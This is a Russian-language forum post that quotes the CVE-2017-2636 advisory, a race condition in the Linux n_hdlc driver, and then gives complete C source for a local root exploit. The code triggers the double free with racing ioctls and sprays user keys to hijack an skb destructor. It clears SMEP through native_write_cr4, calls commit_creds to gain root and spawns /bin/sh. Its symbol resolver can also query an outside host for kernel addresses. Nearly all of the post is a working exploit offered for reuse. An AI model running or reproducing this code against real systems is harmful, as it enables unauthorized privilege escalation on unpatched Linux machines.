Регистрация: 09.03.2011
Сообщений: 7
|
CVE-2017-2636 exploit the race condition in the n_hdlc Linux kernel driver
В хакер.ру ещё статью запили и кодом не поделился 
К сожалению бага ток на Убунту, на Сентос не актуальна т.к присутствует макрос BUG_ON который вызывает проверку n_hdlc_buf. Толи автор этого не знал ибо не смотрел другие дисты. Прилагаю код который был заброшен после обнаружения нексплотабильносты под сентось, на 14.10-desktop код пашет.
https://a13xp0p0v.github.io/2017/03/...2017-2636.html
Цитата:
This is an announcement of CVE-2017-2636, which is a race condition in
the n_hdlc Linux kernel driver (drivers/tty/n_hdlc.c). It can be exploited
to gain a local privilege escalation.
This driver provides HDLC serial line discipline and comes as a kernel module
in many Linux distributions, which have CONFIG_N_HDLC=m in the kernel config.
The bug was introduced on 22 June 2009
-- Bug details --
N_HDLC line discipline uses a self-made singly linked lists for data
buffers and has n_hdlc.tbuf pointer for buffer retransmitting after
an error. If sending of a data buffer is not successful, then its
address is saved in n_hdlc.tbuf and the next time n_hdlc_send_frames()
will try to resend it first of all.
But the commit be10eb7589337e5defbe214dae038a53dd21add8 ("tty: n_hdlc add
buffer flushing") introduced racy access to n_hdlc.tbuf.
After transmission error concurrent flush_tx_queue() and n_hdlc_send_frames()
can put a buffer pointed by n_hdlc.tbuf to tx_free_buf_list twice. That
causes an exploitable double free error in n_hdlc_release().
To fix the issue I used a standard kernel linked list protected by a spinlock
and got rid of n_hdlc.tbuf. In case of transmission error the current data
buffer is put after the head of tx_buf_list.
|
Код:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <time.h>
#include <netdb.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <asm/termbits.h>
#include <asm/unistd.h>
#include <arpa/inet.h>
#include <linux/keyctl.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define TTY_BUF_SZ 10
#define MAX_RACE_LAG_USEC 50
#define MSG_SZ 7500
#define MSGS_N 20
#define FIXUP_MSGS_N 15
#define KEYS_N 7
#define SOCK_PAIRS 200
#define SOCKS_N (2 + SOCK_PAIRS * 2)
#define CLI 0
#define SRVS 1
#define EXPLOIT_SRV 1
#define OTHER_SRVS 2
#define PORT_BASE 4200
#define PAYLOAD_SZ 8100
#define SKB_END_OFFSET 7872
#define KEY_DATA_OFFSET 18
#define CR4_VAL 0x0406e0lu
#define SKB_DATA_OFFSET 44
#define PAYLOAD_MAGIC 42
#define SKBTX_DEV_ZEROCOPY (1 << 3)
int ptmd = -1;
int tfail = 0;
pthread_barrier_t our_barrier;
struct skb_shared_info{
uint8_t nr_frags;
uint8_t tx_flags;
uint16_t gso_size;
uint16_t gso_segs;
uint16_t gso_type;
uint64_t frag_list; /* struct sk_buff*/
uint64_t hwtstamps;
uint32_t tskey;
uint32_t ip6_frag_id;
uint32_t dataref;
uint64_t destructor_arg;
uint8_t frags[16][17];
};
struct ubuf_info{
void (*callback)(struct ubuf_info *, bool zerocopy_success);
void *ctx;
unsigned long desc;
};
unsigned long NATIVE_WRITE_CR4 = 0x0ul;
unsigned long COMMIT_CREDS = 0x0ul;
unsigned long PREPARE_KERNEL_CRED = 0x0ul;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long try_sysmap(char *name, char *path);
unsigned long try_vmlinux(char *name, char *path);
unsigned long try_vmlinuz(char *name, char *path);
unsigned long try_remote(char *name, char *path);
#define SOURCE(FP, FMT, ARGS) { .fp = FP, .fmt = FMT, .args = ARGS }
#define SYSMAP(FMT, ARGS) SOURCE(try_sysmap, FMT, ARGS)
#define SYSMAP_0(FMT) SYSMAP(FMT, 0)
#define SYSMAP_1(FMT) SYSMAP(FMT, 1)
#define SYSMAP_2(FMT) SYSMAP(FMT, 2)
#define VMLINUX(FMT, ARGS) SOURCE(try_vmlinux, FMT, ARGS)
#define VMLINUX_0(FMT) VMLINUX(FMT, 0)
#define VMLINUX_1(FMT) VMLINUX(FMT, 1)
#define VMLINUX_2(FMT) VMLINUX(FMT, 2)
#define VMLINUZ(FMT, ARGS) SOURCE(try_vmlinuz, FMT, ARGS)
#define VMLINUZ_0(FMT) VMLINUZ(FMT, 0)
#define VMLINUZ_1(FMT) VMLINUZ(FMT, 1)
#define VMLINUZ_2(FMT) VMLINUZ(FMT, 2)
#define REMOTE(FMT, ARGS) SOURCE(try_remote, FMT, ARGS)
#define REMOTE_0(FMT) REMOTE(FMT, 0)
#define REMOTE_HOST "kernelvulns.org"
#define REMOTE_PORT "80"
struct source {
int args;
char *fmt;
unsigned long (*fp) (char *, char *);
};
struct source sources[] = {
SYSMAP_0("/proc/kallsyms"),
SYSMAP_0("/proc/ksyms"),
SYSMAP_1("/boot/System.map-%s"),
SYSMAP_2("/boot/System.map-genkernel-%s-%s"),
SYSMAP_1("/System.map-%s"),
SYSMAP_2("/System.map-genkernel-%s-%s"),
SYSMAP_1("/usr/src/linux-%s/System.map"),
SYSMAP_1("/lib/modules/%s/System.map"),
SYSMAP_0("/boot/System.map"),
SYSMAP_0("/System.map"),
SYSMAP_0("/usr/src/linux/System.map"),
VMLINUX_1("/boot/vmlinux-%s"),
VMLINUX_1("/boot/vmlinux-%s.debug"),
VMLINUX_1("/boot/.debug/vmlinux-%s"),
VMLINUX_1("/boot/.debug/vmlinux-%s.debug"),
VMLINUX_1("/lib/modules/%s/vmlinux"),
VMLINUX_1("/lib/modules/%s/vmlinux.debug"),
VMLINUX_1("/lib/modules/%s/.debug/vmlinux"),
VMLINUX_1("/lib/modules/%s/.debug/vmlinux.debug"),
VMLINUX_1("/usr/lib/debug/lib/modules/%s/vmlinux"),
VMLINUX_1("/usr/lib/debug/lib/modules/%s/vmlinux.debug"),
VMLINUX_1("/usr/lib/debug/boot/vmlinux-%s"),
VMLINUX_1("/usr/lib/debug/boot/vmlinux-%s.debug"),
VMLINUX_1("/usr/lib/debug/vmlinux-%s"),
VMLINUX_1("/usr/lib/debug/vmlinux-%s.debug"),
VMLINUX_1("/var/cache/abrt-di/usr/lib/debug/lib/modules/%s/vmlinux"),
VMLINUX_1("/var/cache/abrt-di/usr/lib/debug/lib/modules/%s/vmlinux.debug"),
VMLINUX_1("/var/cache/abrt-di/usr/lib/debug/boot/vmlinux-%s"),
VMLINUX_1("/var/cache/abrt-di/usr/lib/debug/boot/vmlinux-%s.debug"),
VMLINUX_1("/usr/src/linux-%s/vmlinux"),
VMLINUX_0("/usr/src/linux/vmlinux"),
VMLINUX_0("/boot/vmlinux"),
VMLINUZ_1("/boot/vmlinuz-%s"),
VMLINUZ_2("/boot/kernel-genkernel-%s-%s"),
VMLINUZ_1("/vmlinuz-%s"),
VMLINUZ_2("/kernel-genkernel-%s-%s"),
VMLINUZ_1("/usr/src/linux-%s/arch/x86/boot/bzImage"),
VMLINUZ_0("/boot/vmlinuz"),
VMLINUZ_0("/vmlinuz"),
VMLINUZ_0("/usr/src/linux/arch/x86/boot/bzImage"),
REMOTE_0(REMOTE_HOST),
};
unsigned long
try_sysmap(char *name, char *path)
{
FILE *f;
unsigned long addr;
char dummy, sname[512];
int ret = 0, oldstyle = 0;
struct utsname ver;
f = fopen(path, "r");
if (!f) {
return 0;
}
uname(&ver);
if (strncmp(ver.release, "2.6", 3)) {
oldstyle = 1;
}
while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *) sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
unsigned long
try_vmlinux(char *name, char *path)
{
char cmd[512];
char *tmpfile = ".sysmap";
unsigned long addr;
snprintf(cmd, sizeof(cmd), "nm %s &> %s", path, tmpfile);
system(cmd);
addr = try_sysmap(name, tmpfile);
unlink(tmpfile);
return addr;
}
unsigned long
try_vmlinuz(char *name, char *path)
{
FILE *fp;
void *mem;
char *token, cmd[1024], out[1024];
unsigned long *ptr, rodata, curr = 0, prev = 0;
int i, fd, ret, ctr, off, num_syms;
struct stat sb;
unsigned long kallsyms_num_syms;
unsigned long *kallsyms_addresses;
unsigned long *kallsyms_markers;
uint8_t *kallsyms_names;
uint8_t *kallsyms_token_table;
uint16_t *kallsyms_token_index;
char *tmpfile = ".vmlinuz";
char *madness_1 = "for pos in `tr \"\037\213\010\nxy\" \"\nxy=\" < \"%s\" | grep -abo \"^xy\"`; do pos=${pos%%:*}; tail -c+$pos \"%s\" | gunzip > %s 2> /dev/null; break; done";
char *madness_2 = "readelf -S %s | grep \"\\.rodata\" | awk '{print $6}'";
ret = stat(path, &sb);
if (ret == -1) {
return 0;
}
snprintf(cmd, sizeof(cmd), madness_1, path, path, tmpfile);
system(cmd);
ret = stat(tmpfile, &sb);
if (ret == -1) {
return 0;
}
snprintf(cmd, sizeof(cmd), madness_2, tmpfile);
fp = popen(cmd, "r");
if (!fp) {
return 0;
}
fgets(out, sizeof(out), fp);
pclose(fp);
rodata = strtoul(out, NULL, 16);
fd = open(tmpfile, O_RDONLY);
if (fd == -1) {
return 0;
}
ret = fstat(fd, &sb);
if (ret == -1) {
return 0;
}
mem = mmap(NULL, sb.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (mem == MAP_FAILED) {
return 0;
}
ptr = mem + rodata;
for (ctr = 0; ctr < 5000; ++ctr, ++ptr) {
prev = curr;
curr = *ptr;
if (prev > curr) {
ctr = 0;
}
}
for (; prev <= curr; ++ptr) {
prev = curr;
curr = *ptr;
}
num_syms = curr;
kallsyms_num_syms = (unsigned long) (ptr - 1);
kallsyms_addresses = (unsigned long *) (kallsyms_num_syms - (num_syms * sizeof(unsigned long)));
kallsyms_names = (uint8_t *) (kallsyms_num_syms + (1 * sizeof(unsigned long)));
for (ptr = (unsigned long *) kallsyms_names; *ptr != 0; ++ptr) { }
kallsyms_markers = ptr;
kallsyms_token_table = (uint8_t *) (kallsyms_markers + (((num_syms + 255) / 256)));
token = (char *) kallsyms_token_table;
for (i = 0; i < 256; ++i) {
token += strlen(token) + 1;
}
kallsyms_token_index = (uint16_t *) ((unsigned long) (token + sizeof(unsigned long)) & ~(sizeof(unsigned long) - 1));
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
char buf[128];
char *result = buf;
int len, skipped_first = 0;
uint8_t *tptr, *data;
data = &kallsyms_names[off];
len = *data;
data++;
off += len + 1;
while (len) {
tptr = &kallsyms_token_table[kallsyms_token_index[*data]];
data++;
len--;
while (*tptr) {
if (skipped_first) {
*result = *tptr;
result++;
} else {
skipped_first = 1;
}
tptr++;
}
}
*result = '\0';
if (strcmp(buf, name) == 0) {
return kallsyms_addresses[i];
}
}
close(fd);
munmap(mem, sb.st_size);
unlink(tmpfile);
return 0;
}
unsigned long
try_remote(char *name, char *path)
{
int ret, sock;
struct addrinfo *result;
struct addrinfo hints;
unsigned long addr;
struct utsname ver;
char msg[512];
uname(&ver);
memset(&hints, 0, sizeof(hints));
hints.ai_socktype = SOCK_STREAM;
hints.ai_family = AF_INET;
ret = getaddrinfo(REMOTE_HOST, REMOTE_PORT, &hints, &result);
if (ret != 0) {
return 0;
}
sock = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (sock == -1) {
return 0;
}
ret = connect(sock, result->ai_addr, result->ai_addrlen);
if (ret == -1) {
close(sock);
return 0;
}
snprintf(msg, sizeof(msg), "%s|%s|%s", ver.machine, ver.release, name);
ret = send(sock, msg, strlen(msg), 0);
if (ret != strlen(msg)) {
close(sock);
return 0;
}
ret = recv(sock, &addr, sizeof(addr), 0);
if (ret != sizeof(addr)) {
close(sock);
return 0;
}
close(sock);
return addr;
}
unsigned long
ksymhunter(char *name)
{
char path[512];
struct source *source;
struct utsname ver;
unsigned long addr;
int i, count;
uname(&ver);
count = sizeof(sources) / sizeof(struct source);
for (i = 0; i < count; ++i) {
source = &sources[i];
if (source->args == 0) {
snprintf(path, sizeof(path), source->fmt, "");
} else if (source->args == 1) {
snprintf(path, sizeof(path), source->fmt, ver.release);
} else if (source->args == 2) {
snprintf(path, sizeof(path), source->fmt, ver.machine, ver.release);
}
addr = source->fp(name, path);
if (addr) {
printf("[+] resolved %s using %s\n", name, path);
return addr;
}
}
return 0;
}
void __attribute__((regparam(3))) root_it(unsigned long arg1, bool arg2){
commit_creds(prepare_kernel_cred(0));
}
int init_payload(char *p){
struct skb_shared_info *info = (struct skb_shared_info *)(p +
SKB_END_OFFSET - KEY_DATA_OFFSET);
struct ubuf_info *uinfo_p = NULL;
char *area = NULL;
void *target_addr = (void *)(CR4_VAL & 0xfffff000lu);
area = mmap(target_addr, 0x1000, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (area != target_addr){
perror("[-] mmap");
return EXIT_FAILURE;
}
uinfo_p = (struct ubuf_info*)CR4_VAL;
uinfo_p->callback = NATIVE_WRITE_CR4;
info->destructor_arg = (uint64_t)uinfo_p;
info->tx_flags = SKBTX_DEV_ZEROCOPY;
p[SKB_DATA_OFFSET - KEY_DATA_OFFSET] = PAYLOAD_MAGIC;
printf("[+] payload:\n");
printf("\tstart at %p\n", p);
printf("\tskb_shared_info at %p\n", info);
printf("\ttx_flags 0x%x\n", info->tx_flags);
printf("\tdestructor_arg 0x%lx\n", info->destructor_arg);
printf("\tcallback 0x%lx\n", uinfo_p->callback);
return EXIT_SUCCESS;
}
void reinit_payload(void){
struct ubuf_info *uinfo_p = (struct ubuf_info *)CR4_VAL;
uinfo_p->callback = (uint64_t)root_it;
}
int srv_recv(int s){
char msg[MSG_SZ] = {0 };
ssize_t bytes = 1;
usleep(1337);
bytes = recv(s, msg, MSG_SZ, 0);
if (bytes < 0){
perror("[-] recv");
return EXIT_FAILURE;
}
if(bytes != MSG_SZ){
printf("[-] recv(bytes)\n");
return EXIT_FAILURE;
}
if(msg[0] != 0){
if(msg[0] != PAYLOAD_MAGIC){
printf("[-] bad payload magic\n");
return EXIT_FAILURE;
}
printf("[+] exploit callback is executed\n");
reinit_payload();
}
usleep(1337);
return EXIT_SUCCESS;
}
int cli_send(int c, struct sockaddr_in *a, uint16_t p){
char msg[MSG_SZ] = {0};
ssize_t bytes = -1;
a->sin_port = htons(p);
bytes = sendto(c, msg, MSG_SZ, 0, (struct sockaddr_in *)a, sizeof(struct sockaddr_in));
if(bytes < 0){
perror("[-] sendto");
return EXIT_FAILURE;
}
if(bytes != MSG_SZ){
printf("[-] sendto (bytes) \n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
void close_sockets(int *s, struct sockaddr_in *a){
int i=0;
int ret = -1;
for(i = 0; i<SOCKS_N; i++){
if(s[i] <= 0)
continue;
close(s[i]);
}
}
int prepare_sockets(int *s, struct sockaddr_in *a){
int ret = 0;
int rv = 0;
int i ;
s[0] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(s[0] < 0){
perror("[-] socket failed");
return EXIT_FAILURE;
}
memset(&a[0], 0, sizeof(a[0]));
a[0].sin_family = AF_INET;
rv = inet_aton("127.0.0.1", &a[0].sin_addr);
if (rv == 0) {
perror("[-] inet_aton()");
return EXIT_FAILURE;
}
for(i =1 ;i < SOCK_PAIRS; i++){
s[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s[i] < 0) {
perror("[-] socket failed");
return EXIT_FAILURE;
}
memset(&a[i], 0, sizeof(struct sockaddr_in));
a[i].sin_family = AF_INET;
a[i].sin_addr.s_addr = htonl(INADDR_ANY);
a[i].sin_port = htons(PORT_BASE+i);
rv = bind(s[i], (struct sockaddr *)&a[i], sizeof(struct sockaddr_in));
if (rv == -1) {
perror("[-] bind()");
return EXIT_FAILURE;
}
}
return EXIT_SUCCESS;
}
int exploit_skb(int *s, struct sockaddr_in *a,char *payload, int pair){
int i, ret;
long k[7] = {0};
for(i = 0; i < 20; i++){
if(i == 12 || i == 13 || i == 14 || i == 15){
ret = cli_send(s[CLI], &a[EXPLOIT_SRV], PORT_BASE + EXPLOIT_SRV);
continue;
}
ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
}
k[0] = syscall(__NR_add_key, "user", "payload1", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
k[1] = syscall(__NR_add_key, "user", "payload2", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
ret = srv_recv(s[EXPLOIT_SRV]);
if(ret != EXIT_SUCCESS)
return EXIT_FAILURE;
ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
if(ret != EXIT_SUCCESS)
return EXIT_FAILURE;
k[2] = syscall(__NR_add_key, "user", "payload3", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
k[3] = syscall(__NR_add_key, "user", "payload4", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
ret = srv_recv(s[EXPLOIT_SRV]);
if(ret != EXIT_SUCCESS)
return EXIT_FAILURE;
ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
if(ret != EXIT_SUCCESS)
return EXIT_FAILURE;
k[4] = syscall(__NR_add_key, "user", "payload5", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
ret = srv_recv(s[EXPLOIT_SRV]);
if(ret != EXIT_SUCCESS)
return EXIT_FAILURE;
ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
if(ret != EXIT_SUCCESS)
return EXIT_FAILURE;
k[5] = syscall(__NR_add_key, "user", "payload6", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
k[6] = syscall(__NR_add_key, "user", "payload7", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
ret = srv_recv(s[EXPLOIT_SRV]);
if(ret != EXIT_SUCCESS)
return EXIT_FAILURE;
for(i =0 ; i<KEYS_N; i++){
if(k[i] > 0)
syscall(__NR_keyctl, KEYCTL_INVALIDATE, k[i]);
}
/* Slab fixup */
for (i = 0; i < FIXUP_MSGS_N; i++){
ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
if(ret != EXIT_SUCCESS)
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
int thread_sync(long lag_nsec){
int ret = -1;
struct timespec ts0;
struct timespec ts;
long delta_nsec = 0;
ret = pthread_barrier_wait(&our_barrier);
if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD){
perror("[-] pthread_barrier_wait");
return EXIT_FAILURE;
}
ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
if(ret != 0 ){
perror("[-] clock_gettime");
return EXIT_FAILURE;
}
while(delta_nsec < lag_nsec){
ret = clock_gettime(CLOCK_MONOTONIC, &ts);
if (ret != 0){
perror("[-] clock_gettime");
return EXIT_FAILURE;
}
delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 + ts.tv_nsec - ts0.tv_nsec;
}
return EXIT_SUCCESS;
}
void* flush_thread(void *arg){
int ret = -1;
long lag_nsec = *((long *)arg) * 1000;
ret = thread_sync(lag_nsec);
if(ret != EXIT_SUCCESS){
tfail++;
return NULL;
}
ret = ioctl(ptmd, TCFLSH, TCIOFLUSH);
if(ret < 0){
perror("[-] TCFLUSH TCIOFLUSH");
tfail++;
}
return NULL;
}
void* tcoon_thread(void* arg){
int ret = -1;
long lag_nsec = *((long *)arg) * 1000;
ret = thread_sync(lag_nsec);
if(ret != EXIT_SUCCESS){
tfail++;
return NULL;
}
ret = ioctl(ptmd, TCXONC, TCOON);
if(ret < 0){
perror("[-] TCXONC TCOON");
tfail++;
}
return NULL;
}
void run_sh(void){
pid_t pid = -1;
char* args[] = {"/bin/sh", "-i", NULL};
int status = 0;
pid = fork();
if(pid < 0){
perror("[-] fork()");
return;
}
if (pid == 0){
execve("/bin/sh", args, NULL);
perror("[-] execve");
exit(EXIT_FAILURE);
}
if(wait(&status) < 0)
perror("[-] wait");
}
int has_smep()
{
int eax=7, ebx, ecx=0;
__asm__("cpuid"
:"=b"(ebx)
:"a"(eax), "c"(ecx)
:"%edx");
if(ebx & (1 << 7))
return EXIT_FAILURE; //has smep
return EXIT_SUCCESS;
}
int has_smap(){
int eax=7, ebx, ecx=0;
__asm__("cpuid"
:"=b"(ebx)
:"a"(eax), "c"(ecx)
:"%edx");
if( ebx & ( 1 << 20))
return EXIT_FAILURE; //has smap
return EXIT_SUCCESS;
}
int check_centos(){
FILE *fp;
char buffer[50] = " ";
fp = popen("lsb_release -ds", "r");
fgets(buffer, 50, fp);
pclose(fp);
if (strstr(buffer, "CentOS") == NULL )
return EXIT_FAILURE;
return EXIT_SUCCESS;
}
int check_kconfig(){
FILE *f = NULL;
struct utsname rel;
char path[255];
int ret = 0;
uname(&rel);
strcat(path, "/boot/config-");
strcat(path, rel.release);
f = fopen(path, "r");
if(f == NULL)
return EXIT_FAILURE;
while(ret != EOF){
char line[80];
fscanf(f, "%s\n", line);
if(strstr(line, "CONFIG_BUG") != NULL){
return EXIT_SUCCESS;
}
}
return EXIT_FAILURE;
}
int main(){
// check smep
// check smap
int ret = -1;
cpu_set_t all_cpus;
cpu_set_t single_cpu;
char payload[PAYLOAD_SZ] = {0};
int socks[SOCKS_N] = {0};
struct sockaddr_in sockaddrs[SOCKS_N];
const int ldisc = N_HDLC;
uint8_t buf[TTY_BUF_SZ] = {0};
long loop = 0;
pthread_t th[2] = {0};
//ret = has_smap();
//if(ret != EXIT_SUCCESS){
// printf("[-] SMAP enabled\n");
// goto end;
//}
//
//ret = has_smep();
//if(ret == EXIT_SUCCESS)
// reinit_payload();
//else
// printf("[-] SMEP enabled\n");
if(check_centos() == EXIT_SUCCESS){
printf("[!] CentOS detected\n");
if(check_kconfig() == EXIT_SUCCESS){
printf("[!] CONFIG_BUG fined\n");
return 0;
}
printf("[-] Can't open /boot/config\n");
printf("[-] Continue? [Y\N]\n");
while(1){
char ans;
scanf("%c", ans);
if((ans == 'Y') || (ans == 'y'))
break;
else{
if((ans == 'N') || (ans == 'n')){
printf("[-] exit\n");
return 0;
}
}
}
}
NATIVE_WRITE_CR4 = ksymhunter("native_write_cr4");
PREPARE_KERNEL_CRED = ksymhunter("prepare_kernel_cred");
COMMIT_CREDS = ksymhunter("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
commit_creds = (_commit_creds)COMMIT_CREDS;
printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());
ret = sched_getaffinity(0, sizeof(all_cpus), &all_cpus);
if(ret != 0){
perror("[-] sched_getaffinity");
goto end;
}
CPU_ZERO(&single_cpu);
CPU_SET(0, &single_cpu);
ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu);
if(ret != 0 ){
perror("[-] sched_setaffinity");
goto end;
}
ret = init_payload(payload);
if(ret != EXIT_SUCCESS)
goto end;
ret = pthread_barrier_init(&our_barrier, NULL, 2);
if(ret != 0){
perror("[-] pthread_barrier_init");
goto end;
}
ret = prepare_sockets(socks, sockaddrs);
if(ret != EXIT_SUCCESS)
goto end;
for (;;) {
long tmo1 = 0;
long tmo2 = 0;
ssize_t bytes = 1;
if (loop % 2 == 0)
tmo1 = loop % MAX_RACE_LAG_USEC;
else
tmo2 = loop % MAX_RACE_LAG_USEC;
ptmd = open("/dev/ptmx", O_RDWR);
if (ptmd < 0) {
perror("[-] open /dev/ptmx");
goto end;
}
ret = ioctl(ptmd, TIOCSETD, &ldisc);
if (ret < 0) {
perror("[-] TIOCSETD");
goto end;
}
ret = ioctl(ptmd, TCXONC, TCOOFF);
if (ret < 0) {
perror("[-] TCXONC TCOOFF");
goto end;
}
bytes = write(ptmd, buf, TTY_BUF_SZ);
if(bytes < 0){
perror("[-] write to ptmx");
goto end;
}
if (bytes != TTY_BUF_SZ) {
printf("[-] write to ptmx (bytes)\n");
goto end;
}
ret = sched_setaffinity(0, sizeof(all_cpus), &all_cpus);
if (ret != 0) {
perror("[-] sched_setaffinity");
goto end;
}
ret=pthread_create(&th[0],NULL,&flush_thread, &tmo1);
if(ret!=0) {
printf("[-] Unable to create thread #0");
goto end;
}
ret=pthread_create(&th[1],NULL,&tcoon_thread,&tmo2);
if(ret!=0) {
printf("[-] Unable to create thread #1");
goto end;
}
ret = pthread_join(th[0],NULL);
if(ret != 0){
perror("[-] pthread_join #0");
goto end;
}
ret = pthread_join(th[1],NULL);
if(ret != 0){
perror("[-] pthread_join #1");
goto end;
}
if (tfail)
goto end;
ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu);
if (ret != 0) {
perror("[-] sched_setaffinity");
goto end;
}
ret = close(ptmd);
if (ret != 0) {
perror("[-] close /dev/ptmx");
goto end;
}
ptmd = -1;
ret = exploit_skb(socks, sockaddrs, payload, loop % SOCK_PAIRS);
if (ret != EXIT_SUCCESS)
goto end;
if (getuid() == 0 && geteuid() == 0) {
printf("[+] race #%ld: WIN! flush(%ld), TCOON(%ld)",
loop, tmo1, tmo2);
break; /* :) */
}
loop++;
}
printf("[+] finish as: uid=0, euid=0, start sh...");
run_sh();
end:
if(ptmd > 0){
ret = close(ptmd);
if ( ret != 0)
perror("[-] close /dev/ptmx");
}
close_sockets(socks, sockaddrs);
return 0;
}
|